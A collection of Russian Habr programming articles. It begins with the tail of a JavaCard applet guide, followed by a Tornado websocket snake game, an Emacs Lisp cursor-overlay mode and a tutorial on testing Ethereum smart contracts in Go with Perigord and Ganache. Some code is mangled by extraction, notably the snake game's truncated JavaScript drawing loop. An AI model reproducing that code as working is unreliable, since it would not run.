операторы new должны располагаться внутри конструктора класса апплета (внутри метода, с именем как у самого класса). Вне этого метода операторы new использовать будет нельзя. Если вы нарушите это правило, через какое-то время при выполнении команд апплет начнет «плеваться» ошибками и его придется перезаписать. Но даже, если сборщик мусора поддерживается картой, автоматически работать он, скорее всего, не будет. Его нужно будет вызывать в апплете вручную. И это достаточно долгий процесс, приводящий к фрагментации памяти карты. Второй момент — фрагментация памяти карты при управлении апплетами. Апплет в памяти карты — что файл на жестком диске. Если вы удалите апплет, записанный перед каким-нибудь другим, в памяти карты останется «дырка» свободного пространства размером с удаленный апплет. Поэтому нужно придерживаться простых правил: * Если некоторые апплеты после записи в карту удалять не предполагается, записывайте их первыми. * Если какие-то апплеты предполагается обновлять и после них в карту записаны другие — перед обновлением придется удалить их все и перезаписать. То же самое касается динамического выделения памяти на картах, поддерживающих сборку мусора. Хоть сборщик и уничтожает неиспользуемые объекты, он может не дефрагментировать память, поскольку в случае с EEPROM карты это очень долгий процесс. Реализация языка Java для карт не поддерживает как минимум: * типы char, double, float, long, int, string; * квалификатор transient; * перечисления * многомерные массивы Причем, отсутствие поддержки типа int приводит к довольно смешному формату вызова методов: apdu.setOutgoingAndSend((short) 0, (short) 120) поскольку в Java числовые литералы — int по умолчанию. Ошибки в написании апплета могут проявляться на каждом из трех уровней: компиляция (\*.java -> \*.class), конвертация (\*.class -> \*.cap), линковка апплета в карте (\*.cap -> карта). Будьте внимательны. Можно написать огромный апплет, скомпилировать и сконвертировать, а потом обнаружить, что в карту он не заливается по какой-то причине. Поскольку с отладкой апплетов все сложно в этом случае можно посоветовать комментировать части апплета и заливать его в карту, пока не наткнетесь на часть, которая вызывала ошибку. На некоторых картах присутствует верификатор (например, CodeShield на последних партиях Schlumberger/Gemalto egate). Этот верификатор дополнительно проверяет код апплета уже после загрузки его в карту на этапе установки (характерный признак его присутствия — долгая пауза перед получением ответа на последнюю команду загрузки — может достигать целой минуты), создавая дополнительный геморрой. Например, этот верификатор может требовать обязательного присутствия break в каждом case оператора switch, не давая сгруппировать два case в один. Все члены класса апплета хранятся в EEPROM карты. Количество циклов перезаписи этой памяти хоть и велико (несколько сот тысяч циклов), но все же ограничено. В картах есть некоторое количество оперативной памяти, которую можно выделить вызовом Util.makeTransientArray (как видно из названия, память выделяется в виде массива и такое выделение доступно и на картах без сборщика мусора. Память, выделенная makeTransientArray во всех случаях освобождается корректно (см. документацию)). Обычно около 1Кб. Разумеется, работа с этой памятью быстрее, чем с EEPROM. Чтобы представить себе возможности, которые доступные апплету, предлагаю просто пролистать документацию, входящую в состав Javacard SDK. #### 3. Благодарность терпеливым читателям Спасибо всем, кто дочитал до этого места. Благодарности и негодования принимаются. Буду рад любым вопросам в комментариях и постараюсь обновлять статью так, чтобы она включала ответы.
https://habr.com/ru/post/255535/
null
ru
null
# Пишем многопользовательскую змейку на tornado Какое-то время назад решил написать небольшое приложение, чтобы потренироваться работе с вебсокетами. Из питоновских фреймворков мне показалось удобней изкоробочная поддержка их в tornado. Поскольку игрушка предельно простая, может кому-то показаться полезной как пример. Это многопользовательская «змейка». ![](https://habrastorage.org/r/w1560/webt/v2/gd/ii/v2gdiitzwxyspw1n3vvfs1il8hc.png) Весь «фронт» умещается в один html файл. Вот скрипт из него ``` var canvas = document.getElementById('canvas'), c = canvas.getContext('2d'), direction='up', nick='Anonymous'; c.lineWidth = 1; var snakes=[ ]; var apples=[ [10,10], [2,2] ]; var colors = ['red', 'blue', 'green', 'black', 'purple', 'teal', 'navy', 'lime', 'olive', 'maroon', 'aqua'] function redraw(){ c.clearRect(0, 0, canvas.width, canvas.height); c.stroke(); for(var j=0; j'; } } } ``` Мы получаем координаты всех змеек и яблок из вебсокета и рисуем на canvas. ``` document.onkeydown = function(e){ var keys = {37:'left', 39:'right', 38:'up', 40:'down'}; var k = keys[e.keyCode]; if(k && k != direction){ if(direction == 'up' && k == 'down') return; if(direction == 'down' && k == 'up') return; if(direction == 'left' && k == 'right') return; if(direction == 'right' && k == 'left') return; direction = keys[e.keyCode]; updater.socket.send(JSON.stringify({direction:direction})); } } window.onload = function(){ nick = window.prompt("Enter your name","Anonymous"); if(!nick) nick = 'Anonymous'; updater.start(); } ``` При нажатии стрелок мы отправляем новое направление движения на сервер(если оно изменилось). Теперь, серверная часть. Она тоже небольшая. ``` import logging import tornado.escape import tornado.ioloop import tornado.options import tornado.web import tornado.websocket from tornado import gen import os.path import uuid import json import random from datetime import datetime from tornado.options import define, options SIZE = 100, 60 define("port", default=8000, help="run on the given port", type=int) class Application(tornado.web.Application): def __init__(self): handlers = [ (r"/", IndexHandler), (r"/gamesocket", GameSocketHandler), (r"/files/(.*)", tornado.web.StaticFileHandler, {'path': 'files'}), ] settings = dict( cookie_secret="__TODO:_GENERATE_YOUR_OWN_RANDOM_VALUE_HERE__", template_path=os.path.join(os.path.dirname(__file__), "templates"), static_path=os.path.join(os.path.dirname(__file__), "static"), xsrf_cookies=True, autoreload=True, debug=True, ) tornado.web.Application.__init__(self, handlers, **settings) class IndexHandler(tornado.web.RequestHandler): def get(self): self.render("index.html") class GameSocketHandler(tornado.websocket.WebSocketHandler): players = set() apples = [[random.randint(0, SIZE[0]), random.randint(0, SIZE[1])] for i in range(20) ] def get_compression_options(self): # Non-None enables compression with default options. return {} def open(self): x_real_ip = self.request.headers.get("X-Real-IP") self.ip = x_real_ip or self.request.remote_ip self.direction = 'up' self.score = 0 self.nick = 'Anonymous' self.die() GameSocketHandler.players.add(self) GameSocketHandler.send_updates() def die(self): while 1: x, y = random.randint(0, SIZE[0]), random.randint(0, SIZE[1]) if any(x == sx and y == sy for player in GameSocketHandler.players for sx, sy in player.snake): continue if any(x == sx and y == sy for sx, sy in GameSocketHandler.apples): continue break self.snake = [[x, y]] @classmethod def add_apple(cls): while 1: x, y = random.randint(0, SIZE[0]), random.randint(0, SIZE[1]) if any(x == sx and y == sy for player in GameSocketHandler.players for sx, sy in player.snake): continue if any(x == sx and y == sy for sx, sy in GameSocketHandler.apples): continue break cls.apples.append([x, y]) def on_close(self): GameSocketHandler.players.remove(self) @classmethod def send_updates(cls): #logging.info("sending message to %d waiters", len(cls.players)) data = { 'snakes': [player.snake for player in cls.players], 'apples': cls.apples, 'scores': [[player.nick, player.score] for player in cls.players] } for waiter in cls.players: try: data['head'] = waiter.snake[-1] waiter.write_message(data) except: logging.error("Error sending message", exc_info=True) def on_message(self, message): message = json.loads(message) logging.info("Got message %r" % message) if 'direction' in message: if message['direction'] not in ['up', 'left', 'right', 'down']: return self.direction = message['direction'] elif 'nick' in message: self.nick = message['nick'].replace('<', '').replace('>', '') def game_tick(): for player in GameSocketHandler.players: d = {'up': (0,-1), 'down': (0,1), 'left': (-1, 0), 'right': (1,0)} player.snake.append([player.snake[-1][0]+d[player.direction][0], player.snake[-1][1]+d[player.direction][1]]) if player.snake[-1] in GameSocketHandler.apples: GameSocketHandler.apples.remove(player.snake[-1]) GameSocketHandler.add_apple() player.score += 1 else: player.snake.pop(0) if player.snake[-1][0] < 0 or player.snake[-1][1] < 0 or player.snake[-1][0] >= SIZE[0] or player.snake[-1][1] >= SIZE[1]: player.die() for enemy in GameSocketHandler.players: if enemy != player and player.snake[-1] in enemy.snake: player.die() if player.snake[-1] in player.snake[:-1]: player.die() GameSocketHandler.send_updates() def main(): tornado.options.parse_command_line() app = Application() app.listen(options.port) tornado.ioloop.PeriodicCallback(game_tick, 100, io_loop = tornado.ioloop.IOLoop.current()).start() tornado.ioloop.IOLoop.current().start() if __name__ == "__main__": main() ``` Всех игроков мы храним в поле класса GameSocketHandler, а я его экземляры хранят о них данные и связаны с вебсокетом. Каждые 100 милисекунд вызывается функция game\_tick, которая двигает змеек и обнаруживает коллизии. Целиком исходник можно забрать [тут](https://bitbucket.org/robotnaoborot/snake/get/91ba13adaa21.zip)
https://habr.com/ru/post/346696/
null
ru
null
# Emacs: дрессируем курсор (продолжение) *Не бойтесь совершенства. Вам его не достичь!* ``` Сальвадор Дали ``` Взгляв в прошлое ---------------- В [предыдущей статье](http://habrahabr.ru/post/265531/), речь шла о том, как можно заставить курсор Emacs сохранять позицию в строке (столбец), при переходе к более короткой строке (грубо говоря — избавиться от «прыжков» курсора). Предложенное решение пожалуй обладало единственным достоинством — предельной простотой кода. Напомню, что для позиционирования курсора просто использовались дополнительные (лишние) пробелы. Более основательное знакомство с Emacs Lisp и общение с откликнувшимися сведущими людьми (respect2: Иван Алексеев aka Yurii Sapfot) укрепило в мысли, что более правильное решение следует искать в направлении [оверлеев](http://www.gnu.org/savannah-checkouts/gnu/emacs/manual/html_node/elisp/Overlays.html#Overlays). Так появилась версия №2 которую я и предлагаю уважаемым читателям. Попытка №2 ---------- Собственно опять таки решение очевидно (при наличии определённого багажа знаний): использовать свойство [before-string](http://www.gnu.org/savannah-checkouts/gnu/emacs/manual/html_node/elisp/Overlay-Properties.html#Overlay-Properties) оверлея нулевой длины для позиционирования курсора в нужную позицию (разумеется при установленном моноширинном шрифте). Общая структура решения осталась прежней: реализуется minor mode (wpers-mode) в рамках которого "[ремапятся](http://www.gnu.org/savannah-checkouts/gnu/emacs/manual/html_node/elisp/Remapping-Commands.html#Remapping-Commands)" базовые команды управления курсором (next-line, previous-line, left-char, right-char, backward-delete-char-untabify, move-end-of-line, move-beginning-of-line, scroll-up и scroll-down). В первом варианте приходилось добавлять лишние пробелы, сейчас вместо этого мы будем просто создавать в текущей позиции оверлей нулевого размера и устанавливать его свойство [before-string](http://www.gnu.org/savannah-checkouts/gnu/emacs/manual/html_node/elisp/Overlay-Properties.html#Overlay-Properties) (далее по тексту для простоты изложения будем подразумевать именно это свойство говоря об оверлее в целом) в строку, состоящую из необходимого количества пробелов (или иных символов — см. листинг). Далее, при перемешении курсора в пределах досягаемости оверлея (влево-вправо) мы будем просто корректировать значение этого свойства, увеличивая или уменьшая строку пробелов вплоть до пустой строки — в этом случае оверлей просто удаляется. Если же курсор выходит за пределы «зоны влияния» оверлея (вверх-вниз), то мы просто его удаляем и, при необходимости (переход вверх-вниз на более короткую строку), создаём новый. Наконец, при вводе какого-либо символа (включая тот же пробел) после ряда «оверлейных пробелов» мы удаляем оверлей, «легализовав» при этом все накопленные пробелы в реальные пробелы внутри буфера. Полный код второй версии пакета можно получить с [GitHub](https://github.com/wardopdem/wpers), здесь я вкратце пройдусь по ключевым фрагментам, не акцентирую внимания на мелочах (есть doc-string да и код достаточно компактен и прозрачен). Итак, начнём с набора утилит, для работы с оверлеем: ``` ;; Разукрашиваем оверлей при активном режиме выделения текущей строки (defun wpers--ovr-propz-txt (txt) (if (or hl-line-mode global-hl-line-mode) (propertize txt 'face (list :background (face-attribute 'highlight :background))) txt)) ;; Создаём оверлей 0-й длины в текущей позиции, не забыв уничтожить прежний (если таковой имелся) (defun wpers--ovr-make (&optional str) (wpers--ovr-kill) (setq wpers--overlay (make-overlay (point) (point))) (overlay-put wpers--overlay 'wpers t) (if str (overlay-put wpers--overlay 'before-string (wpers--ovr-propz-txt str)))) ;; Проверка наличия оверлея в текущей позиции буфера (defun wpers--ovr-at-point-p () (eq (point) (overlay-start wpers--overlay))) ;; Проверка наличия текста в строке после позиции оверлея (defun wpers--ovr-txt-after-p () (when wpers--overlay (let ((ch (char-after (overlay-start wpers--overlay)))) (and ch (not (eq ch 10)))))) ;; "Легализация" оверлейных пробелов в буферные (defun wpers--ovr-to-spcs () (let ((ovr-size (when (wpers--ovr-at-point-p) (length (wpers--ovr-get))))) (save-excursion (goto-char ov-pos) (insert (make-string (length (wpers--ovr-get)) 32))) (when ovr-size (right-char ovr-size)))) ;; Уничтожение оверлея с "легализацией" пробелов при необходимости (defun wpers--ovr-kill () (when wpers--overlay (let* ((ov-pos (overlay-start wpers--overlay)) (ch (char-after ov-pos))) (when (and ch (not (eq ch 10))) (wpers--ovr-to-spcs))) (delete-overlay wpers--overlay) (setq wpers--overlay nil))) ;; Уничтожаем оверлеи во всех буферах кроме текущего (defun wpers--clean-up-ovrs () (mapc #'(lambda (b) (when (and (local-variable-p 'wpers-mode b) (buffer-local-value 'wpers-mode b) (buffer-local-value 'wpers--overlay b) (not (eq b (current-buffer)))) (wpers--ovr-kill b))) (buffer-list))) ;; Чтение свойства before-string (defun wpers--ovr-get () (overlay-get wpers--overlay 'before-string)) ;; Установка свойства before-string с "раскраской текста" и возможностью выполнения ;; каких-либо операций над текущим значением этого свойства, связываемым с переменной "_" (defmacro wpers--ovr-put (val) `(let ((_ (wpers--ovr-get))) (overlay-put wpers--overlay 'before-string (wpers--ovr-propz-txt ,val)))) ``` Теперь заёмёмся позиционированием курсора в строке: ``` ;; Текущая позиция курсора в строке (столбец) с учётом возможного наличия оверлея (defun wpers--current-column () (let ((res (current-column))) (if (and wpers--overlay (wpers--ovr-at-point-p)) (+ res (length (wpers--ovr-get))) res))) ;; Позиционирование курсора в нужную позицию внутри строки (на экране - не в буфере!) с использованием оверлея (defun wpers--move-to-column (col) (move-to-column col) (let* ((last-column (- (line-end-position) (line-beginning-position))) (spcs-needed (- col last-column))) (when (plusp spcs-needed) (wpers--ovr-make (make-string spcs-needed wpers--pspace))))) ;; Выполнение произвольного выражения с сохранением позиции курсора в строке (столбца) (defmacro wpers--save-vpos (form) (let ((old-col (make-symbol "old-col"))) `(let ((,old-col (wpers--current-column))) ,form (wpers--move-to-column ,old-col)))) ``` Далее, определим набор функций для организации перехвата команд, влияющих на позицию курсора: ``` ;; Базовая функция создания "обёрток" для команд управления курсором (defun wpers--remap (key body &optional params) (let ((old (wpers--key-handler key)) ;; запомнили текущий обработчик (fun `(lambda ,params ;; новый обработчик "WPERS handler: perform operation with saving current cursor's position in the line (column)." ,@body))) (when old (add-to-list 'wpers--funs-alist (cons old fun))) ;; зафиксировали связь старый-новый обработчик (define-key wpers--mode-map key fun))) ;; установили новый обработчик в keymap режима ;; "Обёртка" для команд перемещающих курсор по вертикали (defun wpers--remap-vert (command &optional key) (wpers--remap (wpers--mk-key command key) `((interactive)(wpers--save-vpos (call-interactively ',command))))) ;; "Обёртка" для "идёт налево" (defun wpers--remap-left (command &optional key) (let ((key (wpers--mk-key command key)) (expr `(call-interactively ',command))) (wpers--remap key `((interactive) (if wpers--overlay (if (and (wpers--ovr-at-point-p) (wpers--at-end (point))) (if (plusp (length (wpers--ovr-get))) (wpers--ovr-put (substring _ 1)) (wpers--ovr-kill) ,expr) (wpers--ovr-kill) ,expr) ,expr))))) ;; "Обёртка" для "идёт направо" (defun wpers--remap-right (command &optional key) (let ((key (wpers--mk-key command key)) (expr `(call-interactively ',command))) (wpers--remap key `((interactive) (if (wpers--at-end (point)) (if (null wpers--overlay) (wpers--ovr-make (string wpers-pspace)) (if (wpers--ovr-at-point-p) (wpers--ovr-put (concat _ (string wpers-pspace))) (wpers--ovr-kill) (wpers--ovr-make (string wpers-pspace)))) (wpers--ovr-kill) ,expr))))) ;; Позаботимся о "братьях меньших" (defun wpers--remap-mouse (command) (wpers--remap (vector 'remap command) `( (interactive "e") (funcall ',command event) (let ((col (car (posn-col-row (cadr event))))) (wpers--move-to-column col))) '(event))) ``` Теперь определим ключевые «перехватчики» вызываемые до и после каждой команды: ``` ;; Выключаем режим при активной (активации) отметке, visual-line-mode или "размазанных" строках (truncate-lines равна nil) ;; NB: read-only теперь не помеха работе режима (defun wpers--pre-command-hook () (if (member this-command wpers-ovr-killing-funs) (wpers--ovr-kill) (if (or this-command-keys-shift-translated mark-active visual-line-mode (null truncate-lines)) (let ((fn-pair (rassoc this-command wpers--funs-alist))) (when fn-pair (setq this-command (car fn-pair))))))) ;; Удаляем оверлей если верно одно из условий: ;; - курсор не находится в позиции оверлея ;; - имеется текст в буфере после позиции оверлея, но до конца строки (defun wpers--post-command-hook () (when (and wpers--overlay (or (not (wpers--ovr-at-point-p)) (wpers--ovr-txt-after-p))) (wpers--ovr-kill))) ;; Уничтожаем оверлеи режима во всех буферах кроме текущего (add-hook 'post-command-hook 'wpers--clean-up-ovrs) ``` Пропустим «кухню» (аксессоры) и перейдём сразу к изменениям (дополнениям) в публичном интерфейсе модуля: ``` ;; Это свойство определяет способ отображения оверлейных пробелов: ;; nil - невидимы ;; t - отображаются в виде маленькой точки по центру символа (символ с кодом 183) ;; иное число - код символа, который будет отображаться (defcustom wpers-pspace 32 :type `(choice (const :tag "Standard visible" t) (const :tag "Invisible" nil) (character :tag "Custom visible")) :get 'wpers--get-pspace :set 'wpers--set-pspace :set-after '(wpers--pspace-def)) ;; Функция для включения/выключения оверлейных пробелов - альтернатива custom-ного доступа к wpers-pspace (defun wpers-overlay-visible (val) "Toggle overlay visibility if VAL is nil, swtich on if t else set to VAL" (interactive "P") (wpers--set-pspace nil (cond ((null val) t) ((member val '(- (4))) nil) (t val)))) ;; Список команд, после выполнения которых без всяких условий overlay must die! (defcustom wpers-ovr-killing-funs '(undo move-end-of-line move-beginning-of-line) "Functions killing overlay" :type '(repeat function)) ;; Ассоциативный список каждая пара которого имеет вид (handler . commands) ;; где handler - одна из вышеописанных функций wpers--remap-... ;; commands - список каждый элемент которого либо непосредственно команда (символ), ;; либо список вида (command key) - в этом случае key это строка передаваемая функции kbd (defcustom wpers-remaps '((wpers--remap-vert next-line previous-line scroll-up-command scroll-down-command (scroll-down-command "") (scroll-up-command "")) ; for CUA mode (wpers--remap-left left-char backward-char backward-delete-char backward-delete-char-untabify) (wpers--remap-right right-char forward-char) (wpers--remap-mouse mouse-set-point)) :options '(wpers--remap-vert wpers--remap-left wpers--remap-right wpers--remap-mouse) :type '(alist :key-type symbol :value-type (repeat (choice function (list symbol string)))) :set 'wpers--set-remaps) ``` Резюме ------ Допускаю, что и это решение не лишено недостатков (некоторые я уже вижу), однако в целом прогресс думаю имеет место быть, как в плане практических результатов так и в плане продвижения по пути ~~постижения Дао~~ изучения Emacs ;) Как и прежде (доброжелательные и конструктивные) комментарии ожидаются и приветствуются. Помимо ранее приведённых гугло-очевидных [источников](http://habrahabr.ru/post/265531/), некоторую полезную информацию почерпнул [здесь](http://emacs.stackexchange.com/).
https://habr.com/ru/post/266073/
null
ru
null
# Тестирование смарт-контрактов Ethereum на Go: прощай, JavaScript ![image](https://cdn-images-1.medium.com/max/1600/1*WNQyyGK2TrOy2m784kJang.jpeg) *Я хочу поблагодарить коллег: Сергея Немеша, Михаила Попсуева, Евгения Бабича и Игоря Титаренко за консультации, отзывы и тестирование. Я также хочу сказать спасибо команде PolySwarm за разработку оригинальной версии Perigord.* *Это перевод моей статьи, опубликованной впервые на английском на [Medium](https://medium.com/@olena_stoliarova/test-ethereum-smart-contracts-with-go-tell-javascript-goodbye-561789abc04b)* Тестирование всегда было неотъемлемой частью разработки программного обеспечения, хотя и не самой приятной. Когда речь идет о смарт-контрактах, необходимо тщательное тестирование с исключительным вниманием к деталям, т.к. ошибки будет невозможно исправить после развертывания в блокчейн сети. За последние годы, сообщество Ethereum создало множество инструментов для разработки смарт-контрактов. Некоторые из них не стали популярными, например, Vyper — диалект Python для написания смарт-контрактов. Другие, такие как Solidity, стали признанным стандартом. Наиболее обширную документацию по тестированию смарт-контрактов на сегодняшний день предоставляет связка Truffle&Ganache. Оба этих инструмента имеют хорошую документацию, многие кейсы уже решались на Stack Overflow и подобных ресурсах. Однако, у этого подхода есть один важный недостаток: для написания тестов нужно использовать Node.js. #### Ловушки JavaScript Даже если вы не поклонник языков программирования со статической типизацией и любите JavaScript, подумайте о том, что можно сделать опечатку и начать сравнивать результат выполнения функции, которая возвращает строку с булевым значением, используя устаревший метод equal вместо strictEqual. ``` let proposalExists = await voting.checkProposal(); assert.equal(proposalExists, true, 'Proposal should exist'); ``` Если checkProposal возвращает строки “yes” или “no”, вы всегда преобразуете их в true. Динамическая типизация скрывает множество таких ловушек, и даже опытные программисты могут совершать подобные промахи, работая на большом проекте или в команде с другими разработчиками, которые могут вносить изменения в код и не сообщать об этом. Статическая типизация в Go позволяет предотвратить подобные ошибки. Кроме того, использование языка Go вместо Node.js для тестирования — мечта любого Go-разработчика, начинающего работу со смарт-контрактами. Моя команда занималась разработкой инвестиционной системы на основе смарт-контрактов с очень сложной архитектурой. Система смарт-контрактов содержала более 2000 строк кода. Поскольку основную часть команды составляли Go-разработчики, тестирование на Go было предпочтительнее, чем на Node.js. #### Первая среда для тестирования смарт-контрактов на Go В 2017 PolySwarm разработали [Perigord](https://github.com/polyswarm/perigord) — инструмент схожий с Truffle, использующий Go вместо JavaScript. К сожалению, этот проект больше не поддерживается, у него есть всего один туториал с очень простыми примерами. К тому же, он не поддерживает интеграцию с Ganache (приватный блокчейн для разработки Ethereum с очень удобным GUI). Мы улучшили Perigord путем устранения багов и внедрения двух новых функций: генерации кошельков из мнемонического кода и их использования для тестирования и подключения к блокчейну Ganache. Вы можете ознакомиться с исходным кодом по [ссылке](https://gitlab.com/go-truffle/enhanced-perigord). Оригинальный туториал Perigord содержит только простейший пример вызова контракта для изменения одного значения. Однако в реальном мире вам также нужно будет вызывать контракт с разных кошельков, отправлять и получать Ether и т.д. Теперь вы можете делать все это, используя усовершенствованный Perigord и старый добрый Ganache. Ниже вы найдете подробное руководство по разработке и тестированию смарт-контрактов с помощью Perigord&Ganache. #### Использование улучшенного Perigord: полное руководство Для использования Perigord вам нужно установить Go 1.7+, solc, abigen и Ganache. Пожалуйста, ознакомьтесь с документацией для вашей операционной системы. Установите Perigord следующим образом: ``` $ go get gitlab.com/go-truffle/enhanced-perigord $ go build ``` После этого вы сможете использовать команду perigord: ``` $ perigord A golang development environment for Ethereum Usage: perigord [command] Available Commands: add Add a new contract or test to the project build (alias for compile) compile Compile contract source files deploy (alias for migrate) generate (alias for compile) help Help about any command init Initialize new Ethereum project with example contracts and tests migrate Run migrations to deploy contracts test Run go and solidity tests Flags: -h, --help help for perigord Use "perigord [command] --help" for more information about a command. ``` Сейчас мы создадим простой смарт-контракт Market, чтобы продемонстрировать доступные варианты тестирования. Чтобы начать проект, введите в терминал следующее: ``` $ perigord init market ``` Проект появится в папке src/ в GOPATH. Переместите проект в другую папку и обновите пути импортирования, если хотите изменить его расположение. Посмотрим, что находится в папке market/. ``` $ tree . ├── contracts │ └── Foo.sol ├── generate.go ├── main.go ├── migrations │ └── 1_Migrations.go ├── perigord.yaml ├── stub │ ├── README.md │ └── main.go ├── stub_test.go └── tests └── Foo.go ``` Очень похоже на проект созданный в Truffle, не правда ли? Но это все на Go! Посмотрим, что в файле конфигурации perigord.yaml. ``` networks: dev: url: /tmp/geth_private_testnet/geth.ipc keystore: /tmp/geth_private_testnet/keystore passphrase: blah mnemonic: candy maple cake sugar pudding cream honey rich smooth crumble sweet treat num_accounts: 10 ``` Для тестирования вы можете использовать как приватную сеть geth и файлы кошельков, так и подключиться к Ganache. Эти варианты взаимоисключающие. Мы возьмем мнемонику, которая используется по умолчанию, сгенерируем 10 аккаунтов и подключимся к Ganache. Замените код в perigord.yaml на: ``` networks: dev: url: HTTP://127.0.0.1:7545 mnemonic: candy maple cake sugar pudding cream honey rich smooth crumble sweet treat num_accounts: 10 ``` <HTTP://127.0.0.1:7545> — стандартный адрес сервера Ganache RPC. Обратите внимание, что вы можете создать сколько угодно аккаунтов для тестирования, но только аккаунты, сгенерированные в Ganache (GUI), будут содержать средства. Мы создадим контракт под названием Market.sol. Он может хранить запись пар адресов, один из которых отправляет средства на счет контракта, а другой имеет право получать средства, когда владелец контракта дает разрешение на такую транзакцию. Например, два участника не доверяют друг другу, но доверяют владельцу контракта, который решает, выполнено ли определенное условие. В примере реализовано несколько основных функций в целях демонстрации. Добавим контакт в проект: ``` $ perigord add contract Market ``` Постфикс .sol будет добавлен автоматически. Вы также можете добавить другие контракты или удалить контракт-пример Foo.sol. Пока вы работаете в GOPATH, вы можете использовать импорт контрактов для создания сложных конструкций. У нас будет три файла Solidity: основной контракт Market, вспомогательные контракты Ownable и Migrations и библиотека SafeMath. Вы можете найти исходный код [здесь](https://gitlab.com/go-truffle/perigord-contract-example). Теперь проект имеет следующую структуру: ``` . ├── contracts │ ├── Market.sol │ ├── Ownable.sol │ └── SafeMath.sol ├── generate.go ├── main.go ├── migrations │ └── 1_Migrations.go ├── perigord.yaml ├── stub │ ├── README.md │ └── main.go ├── stub_test.go └── tests └── Foo.go ``` Генерируем байт-код EVM, биндинги ABI и Go: ``` $ perigord build ``` Добавляем миграции всех контрактов, которые вы будете деплоить. Т.к. мы деплоим только Market.sol, нам понадобиться всего одна новая миграция: ``` $ perigord add migration Market ``` Наш контракт не содержит конструктор, принимающий параметры. Если вам нужно передать параметры в конструктор, добавьте их в функцию Deploy{NewContract} в файле миграций: ``` address, transaction, contract, err := bindings.Deploy{NewContract}(auth, network.Client(), “FOO”, “BAR”) ``` Удалите файл-пример Foo.go и добавьте тестовый файл для нашего контракта: ``` $ perigord add test Market ``` Чтобы использовать детерминированные кошельки, нам нужно прочитать мнемонику из файла конфигурации: ``` func getMnemonic() string { viper.SetConfigFile("perigord.yaml") if err := viper.ReadInConfig(); err != nil { log.Fatal() } mnemonic := viper.GetStringMapString("networks.dev")["mnemonic"] return mnemonic } ``` Следующая вспомогательная функция используется для получения адреса сети: ``` func getNetworkAddress() string { viper.SetConfigFile("perigord.yaml") if err := viper.ReadInConfig(); err != nil { log.Fatal() } networkAddr := viper.GetStringMapString("networks.dev")["url"] return networkAddr } ``` Еще одна вспомогательная функция, которая нам понадобится, — sendETH, мы будем использовать ее для передачи Ether с одного из сгенерированных кошельков (обозначенный индексом) на любой Ethereum адрес: ``` func sendETH(s *MarketSuite, c *ethclient.Client, sender int, receiver common.Address, value *big.Int) { senderAcc := s.network.Accounts()[sender].Address nonce, err := c.PendingNonceAt(context.Background(), senderAcc) if err != nil { log.Fatal(err) } gasLimit := uint64(6721975) // in units gasPrice := big.NewInt(3700000000) wallet, err := hdwallet.NewFromMnemonic(getMnemonic()) toAddress := receiver var data []byte tx := types.NewTransaction(nonce, toAddress, value, gasLimit, gasPrice, data) chainID, err := c.NetworkID(context.Background()) if err != nil { log.Fatal(err) } privateKey, err := wallet.PrivateKey(s.network.Accounts()[sender]) signedTx, err := types.SignTx(tx, types.NewEIP155Signer(chainID), privateKey) if err != nil { log.Fatal(err) } ts := types.Transactions{signedTx} rawTx := hex.EncodeToString(ts.GetRlp(0)) var trx *types.Transaction rawTxBytes, err := hex.DecodeString(rawTx) err = rlp.DecodeBytes(rawTxBytes, &trx) err = c.SendTransaction(context.Background(), trx) if err != nil { log.Fatal(err) } } ``` Следующие две функции используются для изменения вызова контракта: ``` func ensureAuth(auth bind.TransactOpts) *bind.TransactOpts { return &bind.TransactOpts{ auth.From, auth.Nonce, auth.Signer, auth.Value, auth.GasPrice, auth.GasLimit, auth.Context} } func changeAuth(s MarketSuite, account int) bind.TransactOpts { return *s.network.NewTransactor(s.network.Accounts()[account]) } ``` #### Процедура тестирования Для вызова мы создаем contractSessionActual для определенного контракта. Т.к. у контракта есть владелец, мы можем получить его адрес и проверить, соответствует ли он дефолтному нулевому аккаунту Ganache. Мы сделаем это следующим образом (опустим обработку ошибок, чтобы сэкономить место): ``` contractSession := contract.Session("Market") c.Assert(contractSession, NotNil) contractSessionActual, ok := contractSession.(*bindings.MarketSession) c.Assert(ok, Equals, true) c.Assert(contractSessionActual, NotNil) owner, _ := contractSessionActual.Owner() account0 := s.network.Accounts()[0] c.Assert(owner.Hex(), Equals, account0.Address.Hex()) //Owner account is account 0 ``` Следующая полезная функция — изменение кошелька, вызывающего контракт: ``` ownerInd := 0 sender := 5 receiver := 6 senderAcc := s.network.Accounts()[sender].Address receiverAcc := s.network.Accounts()[receiver].Address //Call contract on behalf of its owner auth := changeAuth(*s, ownerInd) _, err = contractSessionActual.Contract.SetSenderReceiverPair(ensureAuth(auth), senderAcc, receiverAcc) ``` Т.к. одна из основных функций, используемых в тестировании, — изменение вызывающего контракт, давайте сделаем платеж от имени отправителя: ``` auth = changeAuth(*s, sender) //Change auth fo senderAcc to make a deposit on behalf of the sender client, _ := ethclient.Dial(getNetworkAddress()) //Let's check the current balance balance, _ := client.BalanceAt(context.Background(), contract.AddressOf("Market"), nil) c.Assert(balance.Int64(), Equals, big.NewInt(0).Int64()) //Balance should be 0 //Let's transfer 3 ETH to the contract on behalf of the sender value := big.NewInt(3000000000000000000) // in wei (3 eth) contractReceiver := contract.AddressOf("Market") sendETH(s, client, sender, contractReceiver, value) balance2, _ := client.BalanceAt(context.Background(), contract.AddressOf("Market"), nil) c.Assert(balance2.Int64(), Equals, value.Int64()) //Balance should be 3 ETH ``` Полный код тестов приведен [здесь](https://gitlab.com/go-truffle/perigord-contract-example). Теперь откроем stub\_test.go и убедимся, что все импорты указывают на ваш текущий проект. В нашем случае это: ``` import ( _ "market/migrations" _ "market/tests" "testing" . "gopkg.in/check.v1" ) ``` Запустим тесты: ``` $ perigord test ``` Если все сделано правильно, то после окончания тестирования будет похожий результат: ``` Running migration 2 Running migration 3 OK: 1 passed PASS ok market 0.657s ``` Если у вас возникли проблемы, скачайте исходные [файлы](https://gitlab.com/go-truffle/perigord-contract-example) и повторите шаги, описанные в этом руководстве. #### В заключение Perigord — это надежный инструмент для тестирования, написанный на вашем любимом языке. Он создает такую же структуру проекта, как Truffle, и имеет такие же команды, поэтому вам не нужно будет переучиваться. Статическая типизация и однозначная сигнатура функций позволяют быстро разрабатывать и выполнять отладку, а также в значительной мере защищают от опечаток в аргументах. В Perigord можно легко мигрировать существующий проект на Truffle (все что вам нужно — скопировать и вставить файлы контрактов в соответствующую папку и добавить тесты), а также начать абсолютно новый проект с тестами, написанными на Go. Я надеюсь, что работа, начатая командой PolySwarm и продолженная Inn4Science, будет полезна для Go-сообщества и освободит от часов тестирования и отладки с помощью менее удобных инструментов.
https://habr.com/ru/post/445254/
null
ru
null
